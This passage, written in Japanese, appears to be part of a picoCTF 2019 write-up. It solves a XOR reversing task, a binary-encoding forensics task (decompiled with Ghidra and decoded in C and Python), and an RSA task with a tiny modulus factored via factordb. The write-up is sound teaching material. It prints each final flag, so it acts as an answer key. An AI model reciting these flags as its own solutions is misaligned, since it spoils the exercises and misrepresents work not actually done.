key_len) { // size = 26 (0x1a) void *buff; int j; int i; buff = calloc(size,1); j = 0; i = 0; while (i < (int)size) { *(byte *)((int)buff + i) = *(byte *)(data + i) ^ *(byte *)(key + j % key_len); j = j + 1; i = i + 1; } return buff; }
chervil
はvalidationなので無視。inputとDAT_00101db8
をxorするプログラムのようなので、逆変換(xor)してあげます。
unscrambleはdroids3でも出てきたので使いまわし。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- key = 'alphabetsoup' data = '11 05 13 07 22 36 23 0f 1d 00 01 5e 11 0d 02 1c 08 01 10 18 12 1d 19 09 4f 1f 19 04 0d 1b 18'.split() flag = '' for i in range(len(data)): flag += chr(ord(key[i%len(key)]) ^ int(data[i], 16)) print(flag)
実行結果
$ python solve2.py picoCTF{not.particularly.silly}
[Forensics] investigation_encoded_2 (500pt)
We have recovered a binary and 1 file: image01. See what you can make of it. Its also found in /problems/investigation-encoded-2_3_d1b99c25ffc30dc45a2fb6aa3482c62b on the shell server. NOTE: The flag is not in the normal picoCTF{XXX} format.
Hints
Only use lower case letters and numbers
実行ファイルmystery
と、output
が配布されます。
investigation_encoded_1 と同じアプローチを試します。
ghidraでmystery
ファイルをdecompileした結果。
undefined8 main(void) { long file_position; size_t data_num; undefined4 local_18; int socket; FILE *file_flag; badChars = '\0'; file_flag = fopen("flag.txt","r"); if (file_flag == (FILE *)0x0) { fwrite("Error: file ./flag.txt not found\n",1,0x21,stderr); exit(1); } flag_size = 0; fseek(file_flag,0,2); file_position = ftell(file_flag); flag_size = (int)file_position; fseek(file_flag,0,0); login(); if (0xfffe < flag_size) { fwrite("Error, file bigger than 65535\n",1,0x1e,stderr); exit(1); } flag = malloc((long)flag_size); data_num = fread(flag,1,(long)flag_size,file_flag); if (data_num < 1) { exit(0); } local_18 = 0; flag_index = &local_18; output = fopen("output","w"); buffChar = 0; remain = 7; fclose(file_flag); encode(); fclose(output); if (badChars == '\x01') { fwrite("Invalid Characters in flag.txt\n./output is corrupted\n",1,0x35,stderr); } else { fwrite("I\'m Done, check file ./output\n",1,0x1e,stderr); } return 0; } void login(void) { int iVar1; undefined8 auth_c8; undefined8 auth_c0; undefined8 auth_b8; undefined8 auth_b0; undefined8 auth_a8; char auth_ans [48]; sa_family_t addr_list; uint16_t local_26; undefined conn_result [12]; int socket; hostent *host; host = gethostbyname("ZmFrZWF1dGhzaXRl.com"); socket = socket(2,1,0); addr_list = 2; local_26 = htons(0x929); // htons() 関数は、短整数をホスト・バイト・オーダーからネットワーク・バイト・オーダーに変換します。 bcopy(*host->h_addr_list,&addr_list + 4,(long)host->h_length); conn_result = connect(socket,(sockaddr *)&addr_list,0x10); if (conn_result == -1) { puts("Could not connect to Auth Server"); } auth_c8 = 0x6e43203a68747541; auth_c0 = 0x33636c78575a7a56; auth_b8 = 0x53593046475a674d; auth_b0 = 0x6d61687057597142; auth_a8 = 0x4b45; send(socket,&auth_c8,100,0); recv(socket,auth_ans,0x21,0); is_success = strcmp(auth_ans,"QXV0aG9yaXplZCB0byBleGVjdXRlLi4u"); if (is_success != 0) { puts("Permission not given by the Auth Server"); printf(" answer: %s\n",auth_ans); exit(1); } printf(" answer: %s\n",auth_ans); shutdown(socket,2); return; } void encode(void) { byte bVar1; int iVar2; int local_10; char c; while (*flag_index < flag_size) { c = lower((ulong)(uint)(int)*(char *)((long)*flag_index + flag)); if (c == ' ') { c = -0x7b; } else { if (('/' < c) && (c < ':')) { c = c + 'K'; } } c = c + -0x61; if ((c < '\0') || ('$' < c)) { badChars = 1; } if (c != '$') { iVar2 = ((int)c + 0x12) % 0x24; bVar1 = (byte)(iVar2 >> 0x1f); c = ((byte)iVar2 ^ bVar1) - bVar1; } curr = *(int *)(indexTable + (long)(int)c * 4); end = *(int *)(indexTable + (long)((int)c + 1) * 4); while (curr < end) { getValue(); save(); curr = curr + 1; } *flag_index = *flag_index + 1; } while (remain != 7) { save(0); } return; } ulong getValue(int input) { byte shift; int idx_i; idx_i = input; if (input < 0) { idx_i = input + 7; } shift = (byte)(input >> 0x37); return (ulong)((int)(uint)(byte)secret[(long)(idx_i >> 3)] >> (7 - (((char)input + (shift >> 5) & 7) - (shift >> 5)) & 0x1f) & 1); } void save(byte input) { // buffChar は 初期値 0 buffChar = buffChar | input; if (remain == 0) { remain = 7; fputc((int)(char)buffChar,output); buffChar = '\0'; } else { buffChar = buffChar * '\x02'; remain = remain + -1; } return; }
途中login()
という関数が入っているのと、ecnode()
関数の内容が変わっている以外は同じテイストです。同じく、まずは encode の対応表を作ってあげます。今回はアルファベット+数字+空白のようですので、数字のマップも追加します。
今回もマップを作るのはCで書きました。
#include <stdlib.h> #include <stdio.h> #include <stdint.h> typedef unsigned char byte; typedef unsigned int uint; typedef unsigned long ulong; const uint8_t indexTable[] = { 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x12, 0x00, 0x00, 0x00, 0x28, 0x00, 0x00, 0x00, 0x3c, 0x00, 0x00, 0x00, 0x52, 0x00, 0x00, 0x00, 0x64, 0x00, 0x00, 0x00, 0x78, 0x00, 0x00, 0x00, 0x8e, 0x00, 0x00, 0x00, 0x9e, 0x00, 0x00, 0x00, 0xb4, 0x00, 0x00, 0x00, 0xc8, 0x00, 0x00, 0x00, 0xda, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00, 0xfc, 0x00, 0x00, 0x00, 0x0e, 0x01, 0x00, 0x00, 0x1e, 0x01, 0x00, 0x00, 0x34, 0x01, 0x00, 0x00, 0x48, 0x01, 0x00, 0x00, 0x5a, 0x01, 0x00, 0x00, 0x6a, 0x01, 0x00, 0x00, 0x72, 0x01, 0x00, 0x00, 0x80, 0x01, 0x00, 0x00, 0x8c, 0x01, 0x00, 0x00, 0x9a, 0x01, 0x00, 0x00, 0xaa, 0x01, 0x00, 0x00, 0xbc, 0x01, 0x00, 0x00, 0xc8, 0x01, 0x00, 0x00, 0xd6, 0x01, 0x00, 0x00, 0xe0, 0x01, 0x00, 0x00, 0xea, 0x01, 0x00, 0x00, 0xf0, 0x01, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x0a, 0x02, 0x00, 0x00, 0x16, 0x02, 0x00, 0x00, 0x22, 0x02, 0x00, 0x00, 0x30, 0x02, 0x00, 0x00, 0x34, 0x02, 0x00, 0x00 }; const uint8_t secret[] = { 0x8b, 0xaa, 0x2e, 0xee, 0xe8, 0xbb, 0xae, 0x8e, 0xbb, 0xae, 0x3a, 0xee, 0x8e, 0xee, 0xa8, 0xee, 0xae, 0xe3, 0xaa, 0xe3, 0xae, 0xbb, 0x8b, 0xae, 0xb8, 0xea, 0xae, 0x2e, 0xba, 0x2e, 0xae, 0x8a, 0xee, 0xa3, 0xab, 0xa3, 0xbb, 0xbb, 0x8b, 0xbb, 0xb8, 0xae, 0xee, 0x2a, 0xee, 0x2e, 0x2a, 0xb8, 0xaa, 0x8e, 0xaa, 0x3b, 0xaa, 0x3b, 0xba, 0x8e, 0xa8, 0xeb, 0xa3, 0xa8, 0xaa, 0x28, 0xbb, 0xb8, 0xae, 0x2a, 0xe2, 0xee, 0x3a, 0xb8 }; ulong getValue(int input) { byte shift; int idx_i; idx_i = input; if (input < 0) { idx_i = input + 7; } shift = (byte)(input >> 0x37); return (ulong)((int)(uint)(byte)secret[(long)(idx_i >> 3)] >> (7 - (((char)input + (shift >> 5) & 7) - (shift >> 5)) & 0x1f) & 1); } void encode(char c) { int end; int curr; byte bVar1; int iVar2; printf("%c: ", c); if (c == ' ') { c = -0x7b; } else { if (('/' < c) && (c < ':')) { c = c + 'K'; } } c = c + -0x61; if (c != '$') { iVar2 = ((int)c + 0x12) % 0x24; bVar1 = (byte)(iVar2 >> 0x1f); c = ((byte)iVar2 ^ bVar1) - bVar1; } curr = *(int *)(indexTable + (long)(int)c * 4); end = *(int *)(indexTable + (long)((int)c + 1) * 4); while (curr < end) { printf("%d", getValue(curr)); curr = curr + 1; } printf("\n"); } int main(int argc, char* argv[]) { int i; char c = 'a'; for(i=0;i<26;i++) { encode((char)(c+i)); } for(i=0;i<10;i++) { encode((char)('0'+i)); } }
実行結果
$ gcc solve.c -o solve $ ./solve $ ./solve a: 101011101110111000 b: 1010101110111000 c: 10111000 d: 10101010111000 e: 101010101000 f: 11101010101000 g: 1110111010101000 h: 111011101110101000 i: 111010101000 j: 11101011101000 k: 1110101000 l: 1010101000 m: 101000 n: 1011101110111000 o: 1010111000 p: 101010111000 q: 101110111000 r: 11101010111000 s: 1000 t: 10111010101000 u: 1011101110111011101000 v: 10111011101011101000 w: 1110101110111010111000 x: 111010111011101000 y: 11101110111010101000 z: 1110111010101110111000 0: 1110101010111000 1: 1110101110101110111000 2: 10111010111010111000 3: 111010101010111000 4: 1011101011101000 5: 101110101011101000 6: 101011101110101000 7: 1110101011101000 8: 1110111011101110111000 9: 10111011101110111000
前回同様、対応表ができました。これを使って output
を解読します。
#!/usr/bin/env python3 # -*- coding:utf-8 -* from pprint import pprint def pad8(b): while len(b) < 8: b = '0' + b return b if __name__ == '__main__': # read enc_map enc_map = {} with open('map.txt', 'rb') as f: enc_data = f.readlines() for l in enc_data: line = l.decode().strip() enc_map[line.split(': ')[0]] = line.split(': ')[1] # decode with open('output', 'rb') as f: data = f.read() bin_str = '' for d in data: bin_str += pad8(bin(d)[2:]) print('output bin: ' + str(bin_str)) flag = '' b_search = '' for b in bin_str: b_search += b if b_search in enc_map.values(): dec = [k for k, v in enc_map.items() if v == b_search][0] # print(dec) flag += dec b_search = '' print('flag: ' + flag)
実行結果
output bin: 10111010101000111010111010111011100010100011101010101011100011101010101000111010111010111011100011101010100011101010101011100010111010101110100011101010101110001110101010111000111010101011100011101010101110001110101010111000111010101011100011101010101110001110101010111000111010101011100011101010101110001110101010111000101011101110111000101110101011101000111010101010001110101010101110001011101011101000111010111010111011100011101010101110001011101010111010000000 flag: t1m3f1i3500000000000a5f34105
[Crypto] john_pollard (500pt)
Sometimes RSA certificates are breakable
Hints
The flag is in the format picoCTF{p,q} Try swapping p and q if it does not work
cert
ファイルが配布されます。
$ cat cert -----BEGIN CERTIFICATE----- MIIB6zCB1AICMDkwDQYJKoZIhvcNAQECBQAwEjEQMA4GA1UEAxMHUGljb0NURjAe Fw0xOTA3MDgwNzIxMThaFw0xOTA2MjYxNzM0MzhaMGcxEDAOBgNVBAsTB1BpY29D VEYxEDAOBgNVBAoTB1BpY29DVEYxEDAOBgNVBAcTB1BpY29DVEYxEDAOBgNVBAgT B1BpY29DVEYxCzAJBgNVBAYTAlVTMRAwDgYDVQQDEwdQaWNvQ1RGMCIwDQYJKoZI hvcNAQEBBQADEQAwDgIHEaTUUhKxfwIDAQABMA0GCSqGSIb3DQEBAgUAA4IBAQAH al1hMsGeBb3rd/Oq+7uDguueopOvDC864hrpdGubgtjv/hrIsph7FtxM2B4rkkyA eIV708y31HIplCLruxFdspqvfGvLsCynkYfsY70i6I/dOA6l4Qq/NdmkPDx7edqO T/zK4jhnRafebqJucXFH8Ak+G6ASNRWhKfFZJTWj5CoyTMIutLU9lDiTXng3rDU1 BhXg04ei1jvAf0UrtpeOA6jUyeCLaKDFRbrOm35xI79r28yO8ng1UAzTRclvkORt b8LMxw7e+vdIntBGqf7T25PLn/MycGPPvNXyIsTzvvY/MXXJHnAqpI5DlqwzbRHz q16/S1WLvzg4PsElmv1f -----END CERTIFICATE-----
証明書でした。中身を確認してみます。
$ openssl x509 -in cert -text Certificate: Data: Version: 1 (0x0) Serial Number: 12345 (0x3039) Signature Algorithm: md2WithRSAEncryption Issuer: CN=PicoCTF Validity Not Before: Jul 8 07:21:18 2019 GMT Not After : Jun 26 17:34:38 2019 GMT Subject: OU=PicoCTF, O=PicoCTF, L=PicoCTF, ST=PicoCTF, C=US, CN=PicoCTF Subject Public Key Info: Public Key Algorithm: rsaEncryption Public-Key: (53 bit) Modulus: 4966306421059967 (0x11a4d45212b17f) Exponent: 65537 (0x10001) Signature Algorithm: md2WithRSAEncryption 07:6a:5d:61:32:c1:9e:05:bd:eb:77:f3:aa:fb:bb:83:82:eb: 9e:a2:93:af:0c:2f:3a:e2:1a:e9:74:6b:9b:82:d8:ef:fe:1a: c8:b2:98:7b:16:dc:4c:d8:1e:2b:92:4c:80:78:85:7b:d3:cc: b7:d4:72:29:94:22:eb:bb:11:5d:b2:9a:af:7c:6b:cb:b0:2c: a7:91:87:ec:63:bd:22:e8:8f:dd:38:0e:a5:e1:0a:bf:35:d9: a4:3c:3c:7b:79:da:8e:4f:fc:ca:e2:38:67:45:a7:de:6e:a2: 6e:71:71:47:f0:09:3e:1b:a0:12:35:15:a1:29:f1:59:25:35: a3:e4:2a:32:4c:c2:2e:b4:b5:3d:94:38:93:5e:78:37:ac:35: 35:06:15:e0:d3:87:a2:d6:3b:c0:7f:45:2b:b6:97:8e:03:a8: d4:c9:e0:8b:68:a0:c5:45:ba:ce:9b:7e:71:23:bf:6b:db:cc: 8e:f2:78:35:50:0c:d3:45:c9:6f:90:e4:6d:6f:c2:cc:c7:0e: de:fa:f7:48:9e:d0:46:a9:fe:d3:db:93:cb:9f:f3:32:70:63: cf:bc:d5:f2:22:c4:f3:be:f6:3f:31:75:c9:1e:70:2a:a4:8e: 43:96:ac:33:6d:11:f3:ab:5e:bf:4b:55:8b:bf:38:38:3e:c1: 25:9a:fd:5f -----BEGIN CERTIFICATE----- MIIB6zCB1AICMDkwDQYJKoZIhvcNAQECBQAwEjEQMA4GA1UEAxMHUGljb0NURjAe Fw0xOTA3MDgwNzIxMThaFw0xOTA2MjYxNzM0MzhaMGcxEDAOBgNVBAsTB1BpY29D VEYxEDAOBgNVBAoTB1BpY29DVEYxEDAOBgNVBAcTB1BpY29DVEYxEDAOBgNVBAgT B1BpY29DVEYxCzAJBgNVBAYTAlVTMRAwDgYDVQQDEwdQaWNvQ1RGMCIwDQYJKoZI hvcNAQEBBQADEQAwDgIHEaTUUhKxfwIDAQABMA0GCSqGSIb3DQEBAgUAA4IBAQAH al1hMsGeBb3rd/Oq+7uDguueopOvDC864hrpdGubgtjv/hrIsph7FtxM2B4rkkyA eIV708y31HIplCLruxFdspqvfGvLsCynkYfsY70i6I/dOA6l4Qq/NdmkPDx7edqO T/zK4jhnRafebqJucXFH8Ak+G6ASNRWhKfFZJTWj5CoyTMIutLU9lDiTXng3rDU1 BhXg04ei1jvAf0UrtpeOA6jUyeCLaKDFRbrOm35xI79r28yO8ng1UAzTRclvkORt b8LMxw7e+vdIntBGqf7T25PLn/MycGPPvNXyIsTzvvY/MXXJHnAqpI5DlqwzbRHz q16/S1WLvzg4PsElmv1f -----END CERTIFICATE-----
次に、公開鍵を取り出してみます。
$ openssl x509 -in cert -pubkey -noout -----BEGIN PUBLIC KEY----- MCIwDQYJKoZIhvcNAQEBBQADEQAwDgIHEaTUUhKxfwIDAQAB -----END PUBLIC KEY-----
出てきました。証明書に書いてあるとおり、
n(modulus) = 4966306421059967 e = 65537
になります。この n
を先程も使った factordb.com で素因数分解すると、DBにあったらしくヒットしました! 67867967
,73176001
だそうです。これが p,q
のはずなので、flagに突っ込みます。
flag: picoCTF{73176001,67867967}